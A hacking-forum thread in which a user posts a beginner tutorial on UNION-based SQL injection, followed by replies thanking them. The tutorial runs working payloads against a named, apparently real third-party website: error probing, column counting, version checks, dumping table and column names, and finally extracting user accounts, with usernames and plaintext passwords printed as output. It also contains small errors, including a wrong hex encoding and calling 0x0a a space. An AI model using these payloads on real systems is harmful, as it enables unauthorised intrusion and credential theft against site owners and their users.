

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] SQL Injection - FOR PEOPLE THAT HAVE NO IDEA WHAT IT IS](#)

limainfinita - October 24, 2015, 1:46 pm

There are several types of SQLi.

the most common ones are:

UNION Based SQL injection

String Based SQL injection

Error Based SQL injection

Double Query SQL injection

Blind SQL injection

MsSQL injection

This tutorial will cover the: UNION Based SQL injection

1) How do I check if a website is vulnerable to SQLi?

So I got this site I want to test for SQL injection.

Code <http://www.odinsravens.com>

And I find this page:

Code <http://www.odinsravens.com/bookmark/index.php?category=6>

But if you look around, you got all this pages:

Code <http://www.odinsravens.com/bookmark/index.php?category=23>

<http://www.odinsravens.com/bookmark/index.php?category=33>

<http://www.odinsravens.com/bookmark/index.php?category=44>

<http://www.odinsravens.com/bookmark/index.php?category=45>

So I see the only difference in the url is the part: ?category=X

where X is a value.

And this works like this:

the user, gives the page a value for x, by clicking on the links on the site

the page, gives the value to the DataBase and asks for content

the database, recognizes the content associated with each value and gives the page the content

the page, displays the content to the user.

So, using ?category= we are communicating with the DataBase.

Notice we can put the numbers manually, without clicking on the page's links.

So what happens in SQL injection is that it is possible for the user to inject SQL in the page, that will be transmitted to the DataBase and executed, and we can see the output in the page.

This happens because the person who coded the page, didn't filter the values that the ?category= can have. So ?category= will pass anything to the database to execute.

This is a super simple explanation on how and why this works.

For better details check the links at the end of the tutorial.

So and how do we know if this ?category= is vulnerable to SQL Injection?

We do this by putting a ' in front of the value of the parameter we want to test, like this:

Code `http://www.odinsravens.com/bookmark/index.php?category=6'` and in this case it gives the output:

Code You have an error in your SQL syntax; check the manual that corresponds to your MySQL So we now know it is vulnerable.

Because we changed the command that was given to the Database just by adding and '

and the database gave an error.

So now we know that using `?category=` in this page of the website domain we can inject SQL in the Database of the Website's Server.

But we have several types of SQL injection.

Now to see if it is UNION Based or String Based SQL injection:

we do it like this:

Code `http://www.odinsravens.com/bookmark/index.php?category=6' --+`

If the (1) injection fixes the query (that is, if the page is being displayed as it is supposed to be), we are working with a "String Based Injection".

In some cases, the above query doesn't fix the query. If that is the case, we are working with a "Normal Union Based Injection"

and we can confirm it with:

Code `http://www.odinsravens.com/bookmark/index.php?category=6 --the page should appear normal.`

So in this case we are working with a Normal Union Based Injection.

2) Counting Columns:

Now we need to count the number of columns being queried by the page, we use an "ORDER BY" statement.

So we do it like this:

Code `http://www.odinsravens.com/bookmark/index.php?category=6 ORDER BY X --being X a number to check so we do:`

Code `http://www.odinsravens.com/bookmark/index.php?category=6 ORDER BY 10 -- it gives an error, so the number is lower.` but

Code `http://www.odinsravens.com/bookmark/index.php?category=6 ORDER BY 9 --doesn't give error so if it is this number or higher.`

but remember with 10 it gives no error. so in this case it is 9

It goes like this:

order by 50 - error (lower)

order by 5 - no error (that number or higher)

order by 6 - no error (that number or higher)
order by 10 - error (lower)
order by 9 - no error (so we know it is 9)

go it?

So now that we know the number of columns being queried by the page, we need to know which of the columns actually get printed out on to the page. For example, say 3 columns are being queried for and only two of them are being printed on to the page. So we inject into any of the column being printed. There is no point in injecting into a column which is not visible, as we have to see the DB's response to actually proceed in injecting.

3) Finding the Appropriate Columns to Inject to Inject Into:

If you have a normal union based injection, the payload becomes:

Code `http://www.odinsravens.com/bookmark/index.php?category=-6 UNION SELECT 1,2,3,4,5,6,7,8,9 --`Code And has you can see, in the page the 2 and the 3 show up. So those are the columns we are using to see the output of the injection.

4) check DB version (>5?)

The first thing to do while injecting is to check the version of MySQL. Use either `@@version` or `version()` for it. If the version is 5 or greater, our work will be much easier. This is because, in versions 5 and greater, MySQL has introduced `information_schema` which has the information about all the databases and tables. It makes our work a lot easier. If the version is lesser than 5, you will have to "guess" the table names which is a pain in the ass.

in this case we got 2 columns we can use so i will just use both to how you, like this:

Code `http://www.odinsravens.com/bookmark/index.php?category=-6 UNION SELECT 1,@@version,version(),4,5,6,7,8,9 --`and the output is Code 5.6.25-log
5.6.25-log
one for each command.

So at this point you see how this works.

You just inject SQL correctly and the output appears in the page

We now know the DB is version higher than 5.

5) Dumping Tables:

If you have a normal union based injection, the payload becomes:

Code `http://www.odinsravens.com/bookmark/index.php?category=-6 UNION SELECT 1,group_concat(table_name, 0x0a),3,4,5,6,7,8,9 FROM information_schema.tables WHERE table_schema = database() --`the output is:

Code `bookmark_category ,bookmark_link ,bookmark_link_category ,bookmark_user`NOTE:
`group_concat(table_name, 0x0a)` - it combines the `table_name` and `0x0a` (it is hex code for space, just to make your dump look neat)

`FROM information_schema.tables WHERE table_schema = database()` - we are telling the database to retrieve `table_name` from `information_schema.tables` where `table_schema` is the current database.

6) Dumping Columns:

If you have a normal union based injection, the payload becomes:

Code `http://www.example.com/index.php?id=-1 UNION SELECT 1,group_concat(column_name,0x0a),3 FROM information_schema.columns WHERE table_name = [0xhex value of table name]` --
So in this case we want the columns in table: bookmark_user

we hex bookmark_user and it becomes: 626f66b6d61726b5f75736572

Use this to convert text to hex: <http://www.swingnote.com/tools/texttohex.php>

Code `http://www.odinsravens.com/bookmark/index.php?category=-6 UNION SELECT 1,group_concat(column_name, 0x0a),3,4,5,6,7,8,9 FROM information_schema.columns WHERE table_name=0x626f66b6d61726b5f75736572` --the output is:

Code user ,password ,role

7) Getting Data from Columns

Code `http://www.site.com/index.php?id=-X UNION SELECT N,group_concat('columnName,0x3a,columnName,0x0a) from "tablename"--In this case:`

Code `http://www.odinsravens.com/bookmark/index.php?category=-6 UNION SELECT 1,group_concat(user,0x3a,password,0x0a),3,4,5,6,7,8,9 from bookmark_user--and the output is:`
USER:PASSWORD

Code `cjones:caesar ,menagery:harold`

PS: this only converts UNION Based SQL injection

so to other types or to more explained information about what sql injection is and how it works behind the scenes check out this links:

<https://hackforums.net/showthread.php?tid=4776588>

<https://hackforums.net/showthread.php?tid=2008347>

mrcih - October 25, 2015, 6:02 am

Good Totutrial , i will check now thank up

InternetG - October 25, 2015, 6:03 am

Hey man, Its tutorial.

But looks good.

stylo_asif - October 25, 2015, 6:10 am

Good tutorial i Like it Thanks

limainfinita - October 25, 2015, 9:04 am

(Oct 25, 2015 06:02 AM)mrcih Wrote: [\[CITE\]](#) Good Totutrial , i will check now thank up
thank you, you welcome

(Oct 25, 2015 06:03 AM)InternetG Wrote: [\[CITE\]](#) Hey man, Its tutorial.

But looks good.

oh lol my mystake xD

thank you

(Oct 25, 2015 06:10 AM)stylo_asif Wrote: [\[CITE\]](#) Good tutorial i Like it Thanks
thank you glad you like it =)

Comedic - October 25, 2015, 5:04 pm

Pretty good beginner's guide, keep up the great work lad. ?

limainfinita - October 25, 2015, 5:07 pm

(Oct 25, 2015 05:04 PM)Comedic Wrote: [\[CITE\]](#) Pretty good beginner's guide, keep up the great work lad. ?
ty sir =)

CubicMuffin - October 25, 2015, 6:23 pm

Can I just say I love how much rep you get for being the oldest (bar omni) user on HF. How did you even find out about this forums?

limainfinita - October 25, 2015, 7:17 pm

(Oct 25, 2015 06:23 PM)CubicMuffin Wrote: [\[CITE\]](#) Can I just say I love how much rep you get for being the oldest (bar omni) user on HF. How did you even find out about this forums?
same way everyone else did i guess.. google xD

CyberError - October 31, 2015, 8:58 pm

Thx thx for sharing ;; really appreciated

comment_ - September 16, 2016, 9:23 pm

Good tutorial. Thanks for posting!

poliakov15 - September 17, 2016, 7:03 am

Thanks bro i very like you technique off spread 2